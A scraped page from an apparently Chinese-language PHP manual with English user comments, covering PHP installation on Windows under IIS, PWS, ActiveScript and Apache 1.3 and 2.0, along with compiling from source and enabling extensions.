If you'd like to use isapi in the web service extensions and you're in a development server (or even if your php.ini config file changes frequently), here's what you can do:

Php.ini runtime changes:
Create a new application pool in iis:
iis->select server->application pools->new application pool
                 Use default settings;
     go to the application pool you've created, properties->
   check the "Recycle worker process" option, and give it a small value (10 is nice :) ).

Now go to your site (or virtual directory site)-> properties->
change the application pool to the newly configured appPool.

At this moment, is good to make a iss restart (note this is the only resart needed).

Your site is now semi-runtime changed :)
You can try it with the usal php info() test. Change something in the php.ini and check the number of requests it takes to use the new configuration.

The downside of this approach (wich is still better than to use php-cgi.exe): the process is recycled, so all the configuration in php.ini is read every N requests - with php-cgi.exe, this would happen for every request, so.. is a good solution.

Again, be carefull when using this in a production environment, since the load can increase (not sure how much, but it will certainly increase).

And keep in the new appPool JUST the php sites that require runtime changes in php.ini !

------
You've helped me, so I help you ;)
Tks
chris at move dash media dot com
10-Jan-2005 08:39
Note to windows users, if you are trying to install php5 ISAPI on windows server 2003 / IIS and getting a 404 when you try to view a simple php script, even though everything else seems to be right...  click into "web service extensions" from IIS and either add a new web service extension, or click onto "all unknown ISAPI extensions" and click allow.
ntadmin at aplus dot net
28-Aug-2004 02:53
When configuring application pools with configurable
accounts instead of NETWORK SERVICE or LOCAL SYSTEM
remember to add the user to the correct security contexts found here:

Note: Watch for wordwrap
http://www.microsoft.com/resources/documentation/
WindowsServ/2003/standard/proddocs/en-us/Default.asp?
url=/resources/documentation/WindowsServ/2003/standard/
proddocs/en-us/sec_acc_wpenable.asp

Otherwise you will recieve 403 errors.
Sean Boulter
16-Apr-2004 05:00
This fixes the "The directory name is invalid" error.

In IIS 5.1 on Windows XP Pro, Go into the Internet Information Services, and into the properties of the virtual directory where the problem occurs.  On The 'Virtual Directory' tab, click on the 'Configuration...' button.  Select the '.php' extension, and press 'Edit'.  On the bottom, Check the 'Check that file exists' checkbox.
Luis D
27-Mar-2004 08:49
This is just to clarify on a posting on this page that states the nescesity of allowing all unknown cgi Extensions in Windows 2003 IIS 6. Although this will work and it should be consider as a quick option for an itranet solution with no web access at all.

This poses a very serious security problem and its not the best course of action, in my opinion.  The proper way of making this work will be to actually enable the extension that you want to execute.  After verifying that the .php extension is present, simply go to "Web Service extensions" in the IIS Manager and click on "Add a new web service extension";

Once the "new web service extension" opens:

1- Add the "extension name" field, please enter "PHP" (or what ever you wanna call it) Other more conservative admins will say call it what it is and always input ".php".  Its up to you!
2-Click on the "add" button and browse to the php4ts.dll file on your c:\PHP (default)  and then click open --> OK and set the checkmark under "set extension status to allowed" click OK and thats it!!!

If you missed the checkmark moment cause you are just so impatient, like me, then simply select the extension on the web service extensions windows and click ALLOW.

This is a very simple process and it will work everytime.

I hope this helps, as I have found several things in this forums that are incredibly helpfull!!

PS: For the non programmer, it is a good practice to install mysql and a free php forum like bb2 to test how well your php IIS and mysql is working.
brian at schau dot com
09-Mar-2004 09:57
Guys,

I've just updated my page "Compiling Apache, PHP and foreign modules on a Win32 platform" to cover the process for Microsoft Visual Studio .NET 2003 users.

The page is located at:

http://www.schau.com/apachephp/apachephpwin32/index.html

Enjoy.

Kind regards,
Brian
ferchland at computer-kontor dot de
07-Feb-2004 12:51
If need a php4apache.dll compiled with EAPI _and_ you run Apache with mod_ssl, use the Apache from
http://hunter.campbus.com/

This is already a binary for win32, but the *.lib and headers are included.
ungdi at hotmail dot com
21-Jan-2004 05:36
Under a Windows 2003 and IIS 6.x installation of PHP, it is interesting to note that by default in most cases, the "DefaultAppPool" for the "Default Web Site" is running under the security context of "Network Service" which maybe too restrictive. This results in a 403: Forbidden error every time you try to access a PHP page.

You have several options to remedy the problem:
an obvious one is to make it run as the "Local System", but that may be too much power for some administrators' tastes.

The other option is at the IIS Manager,
go to the computer's "Application Pools" folder,
and go to the properties dialog box of the "DefaultAppPool",
and then to the "Identity" tab, and select the "Configurable" identity of "IWAM_[COMPUTER_NAME]" as the security context. This will make the application pool run the way it did in the previous versions.

This solved the repeated problems of the 403 errors. However, do not forget to give permission to "IUSR_[COMPUTER_NAME]" and "IWAM_[COMPUTER_NAME]" appropriate directory permissions for your web directories as stated above.
yellowducklings at hotmail dot com
15-May-2003 11:29
Very readable article on installing php on windows

http://www.macromedia.com/devnet/mx/dreamweaver/articles/php_iis.html
spf at users dot sf dot net
19-Aug-2002 11:55
To allow acWEB.sf.net win32-webserver and Eserv 2.98 (www.eserv.ru) web-server run PHP 4.2.2 without problems with FORCE_REDIRECT you should set "cgi.force_redirect = Off" in php.ini in windows directory.
adam dot swick at pantellos dot com
15-Mar-2002 01:36
IIS 5: If you change the application mappings for PHP (for example, from CGI to ISAPI module), reboot after the change is made.  The PHP Application Mapping change may cause a conflict if ISAPI applications are cached.
mike at schild dot com
01-Aug-2000 01:44
It's a hard way to get work php on win98/PWS... but with this comment-page I found it out how it works:<br>
- error 403: give read/write rights to the directory. You can do this by clicking the right mouse key on the directory in the explorer.<br>
- html file in a dos box: 1) clean the "doc_root" line in the php.ini file.  2) start personal web-manager / go to 'advanced' / make for your web-default-directory a virtual directory with all possible rights.<br>
On my system it works now!
add a note add a note

后退 | 起点 | 前进
在 Mac OS X 客户版编译 | 上一级 | 手工安装步骤


ActiveScript

本节将介绍有关 ActiveScript 安装需要注意的方面。

ActiveScript 是一个只运行在 Windows 下的 SAPI，可以在任何兼容 ActiveScript 的主机上使用 PHP 脚本，例如 Windows Script Host、ASP/ASP.NET、Windows Script Components 或 Microsoft Scriptlet control。

PHP 5.0.1 以后，ActiveScript 被移动到了PECL 库。可以从 PHP 下载页面或者 http://snaps.php.net/ 下载此 PECL 扩展的 DLL 文件。

注: 应该首先阅读手动安装步骤！

PHP 安装完成后，应该下载 ActiveScript DLL（php5activescript.dll）并将其放入 PHP 主目录（例如 C:\php）。

准备好全部所需文件后，必须在系统中注册 DLL。做法是打开命令提示行窗口（位于开始菜单），然后输入类似 cd C:\php 的命令进入 PHP 目录，最后输入 regsvr32 php5activescript.dll 注册该 DLL。

要测试 ActiveScript 是否正确工作，请创建一个新文件，命名为 test.wsf（这个扩展名很重要）然后输入：
<job id="test">

 <script language="PHPScript">
  $WScript->Echo("Hello World!");
 </script>

</job>
保存并双击这个文件。如果您看到一个小窗口，内容为“Hello World!"，说明安装成功。

注: 在 PHP 4 中，该引擎被命名为“ActivePHP”，如果使用 PHP 4，应该将上例中的“PHPScript”替换为“ActivePHP”。

注: ActiveScript 不使用默认的 php.ini 文件，而仅在调用它的 .exe 文件所在目录中寻找。如果想装载 PHP 扩展等，应该创建 php-activescript.ini 并将其放入那个目录。

add a note add a note User Contributed Notes
garfiel_fr at tiscali dot fr
12-May-2005 12:06
There is another way to execute a PHP ActiveScript:

1/ In explorer, open menu "Tools/Folder Options"
2/ Go to tab "File Type"
3/ Click on "New" button and enter a file extension ( PHS for my sample ), you can also select "PHPScript" in "Advanced" button. Then OK, a new file extension is registered.
4/ In tab "File Type" select the new extension and click on button "Advanced". A new dialog box is open.
5/ Click on "New" button and fill edit box with:
  Action: Run
  Application to use: C:\WIN2K\system32\wscript.exe //E:PHPScript "%1" "%2"

That's all !!

Now, your code don't need XML tag at the begining. Hello work in test.phs will be:

$WScript->Echo("Bonjour le monde !");
add a note add a note

后退 | 起点 | 前进
手工安装步骤 | 上一级 | Microsoft IIS／PWS


Microsoft Windows 下的 Apache 1.3.x

本节包括在 Microsoft Windows 平台的 Apache 下安装 PHP 的说明和提示。在另外的页面也有 Apache 2 的安装和说明。

注: 应该首先阅读手动安装步骤！

有两种方式让 PHP 工作在 Windows 下的 Apache 1.3.x 中。首先是使用 CGI 可执行程序（PHP 4 下为 php.exe，PHP 5 下为 php-cgi.exe），另外一种方式是使用 Apache 模块 DLL。无论是那种方式，都需要修改 httpd.conf 来配置 Apache，使 PHP 能够在其上运行，然后都需要重启服务。

值得注意的是，现在 Windows 下的 SAPI 模块已经稳定得多，我们建议首先考虑使用 SAPI 而不要使用 CGI 可执行程序。因为 SAPI 更加透明和安全。

虽然还有些其它的方法来在 Apache 下配置 PHP，下面介绍的方法是最简单并适用于新手的。请参考 Apache 的文档以获得更多的配置参数。

在修改完配置文件后，请记得重启 Apache 服务。例如，如果把 Apache 作为 Windows 的一个服务来运行，那么在命令提示行下使用 NET STOP APACHE 命令然后再使用 NET START APACHE 命令便可重启服务。也可以使用重启 Apache 服务的快捷方式来重启。

注: 记住在 Windows 下给 Apache 的配置文件中加入路径值的时候，所有的反斜线例如 c:\directory\file.ext 必须转换成正斜线，如 c:/directory/file.ext。

作为 Apache 的模块安装

应该将下面几行加入 Apache 的 httpd.conf 文件:

例子 6-3. PHP 作为 Apache 1.3.x 的一个模块

这里假设 PHP 安装在 c:\php。如果不是这样请根据情况修改路径。

对于 PHP 4:

# 在 LoadModule 一节的末尾添加
# 不要忘记将该文件从 sapi 复制出来
LoadModule php4_module "C:/php/php4apache.dll"

# 在 AddModule 一节的末尾添加
AddModule mod_php4.c

对于 PHP 5:

# 在 LoadModule 一节的末尾添加
LoadModule php5_module "C:/php/php5apache.dll"

# 在 AddModule 一节的末尾添加
AddModule mod_php5.c

两个 PHP 版本都需要添加的内容:

# 将下面这行添加到 <IfModule mod_mime.c> 条件块中
AddType application/x-httpd-php .php

# 如果要使用语法高亮的 .phps 文件，需要添加
AddType application/x-httpd-php-source .phps

作为 CGI 可执行文件的安装

如果按照手动安装步骤将 PHP 解压到 C:\php\，需要在 Apache 的配置文件中添加如下内容以使 PHP 按照 CGI 方式运行:

例子 6-4. PHP 以 CGI 方式运行在 Apache 1.3.x

ScriptAlias /php/ "c:/php/"
AddType application/x-httpd-php .php

# 对于 PHP 4
Action application/x-httpd-php "/php/php.exe"

# 对于 PHP 5
Action application/x-httpd-php "/php/php-cgi.exe"

# 指定 php.ini 所在目录
SetEnv PHPRC C:/php
请注意第二行的配置可以在默认的 httpd.conf 中找到，但是是被注释掉的。也请记得将 c:/php/ 替换为 PHP 所在的真实路径。

警告

如果使用 CGI 方式安装，则服务器对于某些可能的攻击是开放的。请阅读 CGI 安全一章以学习如何防御这些攻击。

如果想发布语法高亮的 php 文件，没有类似于模块方式下 PHP 那种方便的方法。选择了使用 CGI 方式运行 PHP，需要使用 highlight_file() 函数来进行语法高亮。创建一个 PHP 文件，加入下述代码即可：<?php highlight_file('some_php_script.php'); ?>。

add a note add a note User Contributed Notes
BCarr
21-Jan-2006 05:35
To Besta and 'j dot b..dot sk':

'Add Module mod_php4.c' or 'AddModule mod_php5.c'  may or may not be necessary depending on your environment and version of Apache.

In my situation, this add module DID NOT work or it wasn't necessary.  The LoadModule was enough to do the trick.  I tried it with PHP4 on Apache 1.3.34 and Apache 2.0.

All in all, your notes have been helpful.  Thanks.
j dot b at inmail dot sk
28-Sep-2005 03:42
DO NOT FORGET to add "index.php" into
<IfModule mod_dir.c>
   DirectoryIndex index.html
</IfModule>

so you get index.php processed;multiple values separate by space:
<IfModule mod_dir.c>
   DirectoryIndex index.html index.php
</IfModule>
28-Aug-2005 04:51
On contrary to user "Besta"'s post

AddModule mod_php5.c

should be added to the addmodule section. I installed php5 and apache 1.3.3 and without the above line it is not recognizing the .php files
Besta
07-Aug-2005 05:16
Do not add this line to apache http.conf. It does not work.
AddModule mod_php5.c

Also, remember to edit the system variables, edit the PATH and add the path to the php directory and restart windows.
psychosos at gmx dot at
27-Feb-2005 09:59
Please note that the SetEnv PHPRC "directory/to/phpini/" only works when using PHP as CGI, but _not_ when you use the PHP Apache Module!
add a note add a note

后退 | 起点 | 前进
Microsoft IIS／PWS | 上一级 | Microsoft Windows 下的 Apache 2.0.x


Microsoft Windows 下的 Apache 2.0.x

本节包括在 Microsoft Windows 系统中针对 Apache 2.0.x 安装 PHP 的指导与说明。在其它页面也有 Apache 1.3.x 用户指导与说明。

注: 应该先阅读手工安装步骤！

警告

不推荐将线程化 MPM 用于实际运作的 Apache 2 环境中去。用 prefork MPM 替代，或者用 Apache 1。其原因见 FAQ 中的使用线程化 MPM 的 Apache2。

强烈建议阅读 Apache 文档来加深对 Apache 2.0.x 服务器的基本理解。此外在继续下去之前考虑先阅读一下 Apache 2.0.x 的 Windows 下使用说明。

PHP 和 Apache 2.0.x 兼容性注意事项: 已知下列版本的 PHP 可以工作于最近版本的 Apache 2.0.x 之下：

  • PHP 4.3.0 或更高版本，可从 http://www.php.net/downloads.php 下载。
  • 最新的稳定开发版。取得源代码 http://snaps.php.net/php4-latest.tar.gz 或下载 Windows 可执行程序 http://snaps.php.net/win32/php4-win32-latest.zip。
  • 预发布版，可从 http://qa.php.net/ 下载。
  • 总是可以通过匿名 CVS 取得 PHP。
以上版本的 PHP 与 Apache 2.0.40 或更高版本兼容。

Apache 2.0 SAPI 支持自 PHP 4.2.0 起。PHP 4.2.3 可工作于 2.0.39，不要用任何其它版本的 Apache 与 PHP 4.2.3 配合。不过推荐的设置是用 PHP 4.3.0 或更高版本与最新版的 Apache2 配合使用。

所有提及的 PHP 版本仍然能工作于 Apache 1.3.x 之下。

警告

Apache 2.0.x 被设计运行于 Windows NT 4.0，Windows 2000 或 Windows XP 之下。目前为止对 Windows 9x 的支持尚未完成，此时尚不指望 Apache 2.0.x 在此类平台下工作。

下载最新版本的 Apache 2.0.x 以及适合的 PHP 版本。先完成手工安装步骤后再回来继续将 PHP 集成入 Apache。

Windows 下有两种方法使 PHP 工作于 Apache 2.0.x 之中。一种是 使用 CGI 可执行程序，另一种是适用 Apache 模块的 DLL。不管哪种都需要编辑 httpd.conf 来配置 Apache 支持 PHP 并重新启动服务器。

注: 记住在 Windows 下给 Apache 的配置文件中加入路径值的时候，所有的反斜线例如 c:\directory\file.ext 必须转换成正斜线，如 c:/directory/file.ext。

以 CGI 方式安装

需要将以下三行加入到 Apache 的 httpd.conf 配置文件中以设定 CGI：

例子 6-5. PHP 在 Apache 2.0 中的 CGI 方式

ScriptAlias /php/ "c:/php/"
AddType application/x-httpd-php .php

# 对 PHP 4 用这行
Action application/x-httpd-php "/php/php.exe"

# 对 PHP 5 用这行
Action application/x-httpd-php "/php/php-cgi.exe"

警告

如果使用 CGI 方式安装，则服务器对于某些可能的攻击是开放的。请阅读 CGI 安全一章以学习如何防御这些攻击。

以 Apache 模块方式安装

需要将以下两行加入到 Apache 的 httpd.conf 配置文件中以设定 Apache 2.0 的 PHP 模块：

例子 6-6. PHP 在 Apache 2.0 中的模块方式

# 对 PHP 4 用这两行：
LoadModule php4_module "c:/php/php4apache2.dll"
# 别忘了从 sapi 目录中把 php4apache2.dll 拷贝出来！
AddType application/x-httpd-php .php

# 对 PHP 5 用这两行：
LoadModule php5_module "c:/php/php5apache2.dll"
AddType application/x-httpd-php .php

# 配置 php.ini 的路径
PHPIniDir "C:/php"

注: 记得用自己 PHP 实际所在的路径替换掉上例中的 c:/php/。要留意在 LoadModule 指令中用的是 php4apache2.dll 或 php5apache2.dll，而不是 php4apache.dll 或 php5apache.dll，后者是设计用于 Apache 1.3.x 的。

注: 如果要使用内容协商机制，请阅读有关 FAQ。

警告

不要在安装中混合使用来自不同 PHP 版本的 DLL。使用下载回来的 PHP 版本中所提供的 DLL 和扩展库是唯一选择。

add a note add a note User Contributed Notes
m 1 b x d at htomail dot com
10-May-2006 09:22
Indeed the references to "apachelounge" are a lifesaver!

With regards to installation :

Apache 2.2.2 and php v5.1.2 / 5.1.3 / 5.1.4

http://www.apachelounge.com/

Excellent site for these installation issues.

MX
philip at php dot net
06-May-2006 02:57
If you use Apache 2.2.x, the included DLLs (php4apache2.dll and php5apache2.dll) will not work for you as they are specific to the Apache 2.0.x API. There is an open bug report to address this issue but if you can't wait then go to the following URL and download an appropriate DLL for Apache 2.2.x:

* http://apachelounge.com/

The PHP Group does not endorse this site but it appears useful, so use it :-)
lyh@edu
05-May-2006 11:13
I had a hard time to install PHP5.1 with Apache2.2 as a module, because whenever I tried to start apache, I always got the error that "Cannot load C:/php/php5apache2.dll into server: The specified module could not be found."
I have checked that php5apache2.dll does in the right directory of "c:/php/", and I have also tried to copy some files (php5ts.dll, php.ini) into relevant directories, such as WINDOWS/, Apache2/, but none of them worked.

I then found a post http://www.apachelounge.com/forum/
viewtopic.php?t=139&view=next&sid=b8df0fe80ac524939e2553ad7ee49123
and tried as suggested by downloading a zip file created by Steffen, and followed the instructions. The apache2.2 now works fine.

BTW, I am using a XP home and folllowed the instructions on the top part of this page.
chris -dot- chaudruc -at- gmail -dot- co
15-Dec-2005 11:02
This took a while for me to figure out but hopefully it will save some time for others.

Running Apache 2, PHP 5.1.1 on Windows XP and could not get mysql library to load. Extension path was correct in php.ini and the module resided in the correct spot.

Discovered that libmysql.dll in the root php directory needs to be moved to C:\WINDOWS or be included in Windows paths in order for this module to load.

From Zend:
"Some modules depend of other libraries, like MySQL. In this case you need to copy libmysql.dll from your MySQL/bin installation directory to a directory in your PATH, like C:\WINDOWS"

Copied over the file and mysql functionality was enabled.
13-Dec-2005 07:12
There are often strong suggestions that Apache/MySQL/PHP should be set up in the Windows root folder, and dire warnings against using folders with spaces in the name. But as a relatively non-technical user, I hate cluttering my Windows XP root directory with folders that should be under Program Files, and of keeping any documents other than in "My Documents" (even though I agree that MS's folder tree is ugly).

Frankly I've never had any difficulty with Apache and MySQL under Program Files, PHP5 deep in the Apache tree, and all documents under My Docs.. Here are the related Apache 2 config lines I use in case anyone is interested (sorry if there are broken lines):

ServerRoot "C:/Program Files/Apache Group/Apache2"

DocumentRoot "C:/Documents and settings/UserNm/My Documents/Websites"

# PHP 5 module
LoadModule php5_module "c:/Program Files/Apache Group/Apache2/php5/php5apache2.dll"
AddType application/x-httpd-php .php
PHPIniDir "C:/Program Files/Apache Group/Apache2/php5/"
msonsuz at example dot com
14-Oct-2005 09:28
When you try apache using the bin directory use the command: apache -n "service_name" -t

Use for service_name the name u used. You can find the service_name also in the system tray
withheld at withheld dot com
06-Aug-2005 09:40
BTW I use Win9x to develop but it's not a production server. And yes, adding a trailing slash to the PHPIniDir directive helps.
Isaac dot Brown at ArvinMeritor dot com
17-May-2005 08:59
Some XP machines are having troubles with the PHPIniDir derective not finding the php.ini (or so they think). Directories that do contain a php.ini file are returned as empty and it defaults to the next method of finding php.ini (often C:/windows or C:/winnt).

This is likely caused by read permissions not being set correctly on NTFS file systems, however, it has occurred when no cause could be identified. If setting correct file permissions doesn't work, the easiest way around this problem is moving php.ini to the Apache directory or adding the HKEY_LOCAL_MACHINE\SOFTWARE\PHP\IniFilePath string to your registry and setting it to the correct directory.
wrowe at apache dot org
11-Apr-2005 08:26
Although the warning above reads "We do not recommend using a threaded MPM in production with Apache2" - ignore that nonsense for Win32.

All Apache/Win32 builds were *always* threaded.  Always choose Apache 2 over Apache 1.3 on Windows - because major portions of Apache 2 were written from the ground up to accept Windows.

Apache 1.3 was never designed for threads or non-posix systems.  For Windows they were squirled in with some rather ugly hacks, which will never enjoy much improvement.
add a note add a note

后退 | 起点 | 前进
Microsoft Windows 下的 Apache 1.3.x | 上一级 | Microsoft Windows 下的 Sun，iPlanet 和 Netscape 服务器


从源程序编译

开始之前，很值得回答一下这个问题：为什么在 Windows 下编译这么难？两个原因：

  1. Windows 下还没有愿意免费共享代码的开发人员群体。直接结果就是没有足够的投资去建立支持这种开发方式的体系。大体上，尽量得到的可用资源都是从 Unix 下的工具来的。不要奇怪这种传统不会时出现。

  2. 下面几乎所有的说明都是“看过就忘”的类型。所以坐稳当并且尽可能忠实地按照说明来做。

需求

要编译 PHP 需要 Microsoft 开发环境。推荐使用 Microsoft Visuaul C++ 6.0。要释放下载的文件还需要一个解压缩工具（例如：Winzip）。如果还没有解压缩的工具，可以从 InfoZip 下载一个免费版本。

在开始之前，需要先下载...

  • PHP 站点中的 win32 编译工具 http://www.php.net/extra/win32build.zip。

  • PHP 使用的 DNS 解析器的源代码：http://www.php.net/extra/bindlib_w32.zip。用这个替代 win32build.zip 中的 resolv.lib。

  • 如果计划把 PHP 编译成 Apache 的静态模块那还需要 Apache 源程序。

最后，还需要 PHP 本身的源代码。可以通过匿名 CVS 得到最新的开发版本，一个快照或者最新发行版本的源程序的打包文件。

放到一起

下载了所有的包后需要将他们解压缩到适当的位置。

  • 建立一个工作目录作为解压缩后存放所有文件的地方，例如：C:\work。

  • 在工作目录（C:\work）下新建一个目录 win32build 并将 win32build.zip 解压缩到其中。

  • 在工作目录（C:\work）下新建一个目录 bindlib_w32 并将 bindlib_w32.zip 解压缩到其中。

  • 将下载的 PHP 源程序解压缩到工作目录（C:\work）中。

经过以上步骤后目录结构应该如下：

+--c:\work
|  |
|  +--bindlib_w32
|  |  |
|  |  +--arpa
|  |  |
|  |  +--conf
|  |  |
|  |  +--...
|  |
|  +--php-4.x.x
|  |  |
|  |  +--build
|  |  |
|  |  +--...
|  |  |
|  |  +--win32
|  |  |
|  |  +--...
|  |
|  +--win32build
|  |  |
|  |  +--bin
|  |  |
|  |  +--include
|  |  |
|  |  +--lib

新建一个目录 c:\usr\local\lib。将 bison.simple 从 c:\work\win32build\bin 拷贝到 c:\usr\local\lib。

注: Cygwin 用户应省略上一步。正确安装的 Cygwin 环境已强制提供了 bison.simple 和 bison.exe 文件。

配置 MVC ++

下一步是配置 MVC ++ 来准备编译。运行 Microsoft Visual C++，在菜单中选择 Tools => Options。在对话框中，选择 directories 标签。依次将下拉框改为 Executables，Includes 和 Library files。其看上去应该是：

  • Executable files: c:\work\win32build\bin, Cygwin users: cygwin\bin

  • Include files: c:\work\win32build\include

  • Library files: c:\work\win32build\lib

编译 resolv.lib

必须编译 resolv.lib 库。自己决定是需要调试信息（bindlib - Win32 Debug）还是不需要（bindlib - Win32 Release）。编译适当的配置：

  • 图形界面用户，运行 VC++，选择 File => Open Workspace，找到 c:\work\bindlib_w32 目录并选择 bindlib.dsw 文件。接着选择 Build => Set Active Configuration 菜单并选择需要的配置。最后选择 Build => Rebuild All。

  • 命令行用户，确认要么注册了 C++ 环境变量，要么运行了 vcvars.bat，然后运行下面任意一行命令：

    • msdev bindlib.dsp /MAKE "bindlib - Win32 Debug"

    • msdev bindlib.dsp /MAKE "bindlib - Win32 Release"

到这一步，应该得到了一个 resolv.lib 在 c:\work\bindlib_w32\Debug 或者 Release 目录下。将此文件拷贝到 c:\work\win32build\lib 目录下并覆盖同名的文件。

编译

对于初学者最好的上手方法是编译 CGI 版本。

  • 图形界面用户，运行 VC++，选择 File => Open Workspace 菜单并选择 c:\work\php-4.x.x\win32\php4ts.dsw。接着选择 Build => Set Active Configuration 菜单并选择想要的配置，要么是 php4ts - Win32 Debug_TS 要么是 php4ts - Win32 Release_TS。最后选择 Build => Rebuild All。

  • 命令行用户，确认要么注册了 C++ 环境变量，要么运行了 vcvars.bat，然后从 c:\work\php-4.x.x\win32 目录下运行下面任意一行命令：

    • msdev php4ts.dsp /MAKE "php4ts - Win32 Debug_TS"

    • msdev php4ts.dsp /MAKE "php4ts - Win32 Release_TS"

    • 到这一步，应该得到一个可用的 php.exe 在 c:\work\php-4.x.x.\Debug_TS 或 Release_TS 目录下。

有可能通过编辑 main/config.win32.h 文件对编译做少量的定制。例如可以改变 php.ini 文件的默认位置，内置的扩展库，以及扩展库的默认位置。

下一步可能想要编译 CLI 版本，这是设计用于 PHP 的命令行方式。步骤和编译 CGI 版本相同，只除了要选择 php4ts_cli - Win32 Debug_TS 或者 php4ts_cli - Win32 Release_TS 项目文件。成功编译后会在 Release_TS\cli\ 或者 Debug_TS\cli\ 目录下找到 php.exe 文件。

注: 如果想使用 PEAR 以及舒适的命令行安装程序，就非要用 CLI-SAPI。有关 PEAR 和安装程序的更多信息见 PEAR 网站。

要编译 SAPI 模块（php4isapi.dll）来将 PHP 和 Microsoft IIS 集成起来，将 active configuration 设为 php4isapi-whatever-config 并编译所需要的 dll。.

add a note add a note User Contributed Notes
zbowden at vt dot edu
12-May-2006 10:12
When running "cscript /nologo configure.js" 5.x on Windows
2000 or XP, if you get the following error:
Microsoft JScript runtime error: Object doesn't support this
property or method

You need to have at least version 5.6 of WSH.
This is necessary because configure.js will use the .Exec()
method of the WScript.Shell.
This evidently didn't exist until 5.6?

You can download WSH 5.6 here:
http://www.microsoft.com/downloads/details.aspx?
FamilyID=c717d943-7e4b-4622-86eb-95a22b832caa&DisplayLang=en
C-Reaction.net - Software Development
03-Apr-2006 03:16
Don't forget to setup Environment variable:
BISON_SIMPLE="C:\\work\\win32build\\bin\\bison.simple"

or this can cause error:
c:/usr/local/lib/bison.simple: No such file or directory

Alexey Furmanov.
26-Jan-2005 08:30
Compiling using Visual Studio .NET will create binaries dependent of msvcp71.dll which has three repercussions:
1. This dll will need to be distributed.
2. The binaries are not currently compatible with the Zend optimiser (not sure why it should make a difference but it does).
3. Binaries are larger!
add a note add a note

后退 | 起点 | 前进
Microsoft Windows 下的 Xitami | 上一级 | Windows 下安装扩展库


Windows 下安装扩展库

在 Windows 下安装完 PHP 和 web 服务器之后，可能想要安装一些扩展库来获得更多功能。可以通过修改 php.ini 来选择当 PHP 启动时加载哪些扩展库。也可以在脚本中通过使用 dl() 来动态加载。

PHP 扩展库的 DLL 文件都具有 php_ 前缀。

很多扩展库都内置于 Windows 版的 PHP 之中。这意味着要加载这些扩展库不需要额外的 DLL 文件和 extension 配置指令。Windows 下的 PHP 扩展库列表列出了需要或曾经需要额外 PHP DLL 文件的扩展库。下面是内置的扩展库列表：

PHP 4 中（截止到 PHP 4.3.11）：BCMath，Caledar，COM，Ctype，FTP，MySQL，ODBC，Overload，PCRE，Session，Tokenizer，WDDX，XML 和 Zlib。

PHP 5 中（截止到 5.0.4）有以下修改。新增内置：DOM，LibXML，Iconv，SimpleXML，SPL 和SQLite。以下不再内置：MySQL 和 Overload。

PHP 搜索扩展库的默认位置在 PHP 4 中是 C:\php4\extensions，在 PHP 5 中是 C:\php5。要修改此项以符合用户自己的 PHP 设置，需要编辑 php.ini 文件：

  • 需要修改 extension_dir 设置以指向用户放置扩展库的目录或者说放置 php_*.dll 文件的位置。例如：

    extension_dir = C:\php\extensions

  • 要在 php.ini 中启用某扩展库，需要去掉该行 extension=php_*.dll 前的注释符号，将想要加载的扩展库前的分号（;）删除即可。

    例子 6-8. 启用 Bzip2 扩展库

    // 将这一行
;extension=php_bz2.dll

// 改成这样
extension=php_bz2.dll

  • 有些扩展库需要额外的 DLL 才能工作。其中一部分包括在发行包里，PHP 4 中在 C:\php\dlls\ 目录下，PHP 5 中在主目录下，但还有一些，例如 Oracle（php_oci8.dll）所需要的 DLL 没有绑定在发行包里。如果安装 PHP 4，将绑定的 DLL 从 C:\php\dlls 拷贝到主目录 C:\php 中。别忘了将 C:\php 放到系统路径 PATH 中去（此过程在另外的 FAQ 条目中有说明）。

  • 某些 DLL 没有绑定在 PHP 发行包中，详情见每个扩展库的文档页。此外有关 PECL 的说明见手册页 PECL 扩展库安装。在 PECL 中有日益增加数目巨大的 PHP 扩展库，这些扩展库需要单独下载。

注: 如果运行服务器模块版的 PHP，在修改了 php.ini 之后别忘了重新启动 web 服务器以使其改动生效。

下表说明了哪些扩展库需要额外的 DLL。

表格 6-1. PHP 扩展库

扩展库 | 说明 | 注解
php_bz2.dll | bzip2 压缩函数库 | 无
php_calendar.dll | 历法转换函数库 | 自 PHP 4.0.3 起内置
php_cpdf.dll | ClibPDF 函数库 | 无
php_crack.dll | 密码破解函数库 | 无
php_ctype.dll | ctype 家族函数库 | 自 PHP 4.3.0 起内置
php_curl.dll | CURL，客户端 URL 库函数库 | 需要：libeay32.dll，ssleay32.dll（已附带）
php_cybercash.dll | 网络现金支付函数库 | PHP <= 4.2.0
php_db.dll | DBM 函数库 | 已废弃。用 DBA 替代之（php_dba.dll）
php_dba.dll | DBA：数据库（dbm 风格）抽象层函数库 | 无
php_dbase.dll | dBase 函数库 | 无
php_dbx.dll | dbx 函数库 |
php_domxml.dll | DOM XML 函数库 | PHP <= 4.2.0 需要：libxml2.dll（已附带），PHP >= 4.3.0 需要：iconv.dll（已附带）
php_dotnet.dll | .NET 函数库 | PHP <= 4.1.1
php_exif.dll | EXIF 函数库 | 需要 php_mbstring.dll。并且在 php.ini 中，php_exif.dll 必须在 php_mbstring.dll 之后加载。
php_fbsql.dll | FrontBase 函数库 | PHP <= 4.2.0
php_fdf.dll | FDF：表单数据格式化函数库 | 需要：fdftk.dll（已附带）
php_filepro.dll | filePro 函数库 | 只读访问
php_ftp.dll | FTP 函数库 | 自 PHP 4.0.3 起内置
php_gd.dll | GD 库图像函数库 | 在 PHP 4.3.2 中删除。此外注意在 GD1 中不能用真彩色函数，用 php_gd2.dll 替代。
php_gd2.dll | GD 库图像函数库 | GD2
php_gettext.dll | Gettext 函数库 | PHP <= 4.2.0 需要 gnu_gettext.dll（已附带），PHP >= 4.2.3 需要 libintl-1.dll，iconv.dll（已附带）。
php_hyperwave.dll | HyperWave 函数库 | 无
php_iconv.dll | ICONV 字符集转换 | 需要：iconv-1.3.dll（已附带），PHP >=4.2.1 需要 iconv.dll
php_ifx.dll | Informix 函数库 | 需要：Informix 库
php_iisfunc.dll | IIS 管理函数库 | 无
php_imap.dll | IMAP，POP3 和 NNTP 函数库 | 无
php_ingres.dll | Ingres II 函数库 | 需要：Ingres II 库
php_interbase.dll | InterBase functions | 需要：gds32.dll（已附带）
php_java.dll | Java 函数库 | PHP <= 4.0.6 需要：jvm.dll（已附带）
php_ldap.dll | LDAP 函数库 | PHP <= 4.2.0 需要 libsasl.dll（已附带），PHP >= 4.3.0 需要 libeay32.dll，ssleay32.dll（已附带）
php_mbstring.dll | 多字节字符串函数库 | 无
php_mcrypt.dll | Mcrypt 加密函数库 | 需要：libmcrypt.dll
php_mhash.dll | Mhash 函数库 | PHP >= 4.3.0 需要：libmhash.dll（已附带）
php_mime_magic.dll | Mimetype 函数库 | 需要：magic.mime（已附带）
php_ming.dll | Ming 函数库（Flash） | 无
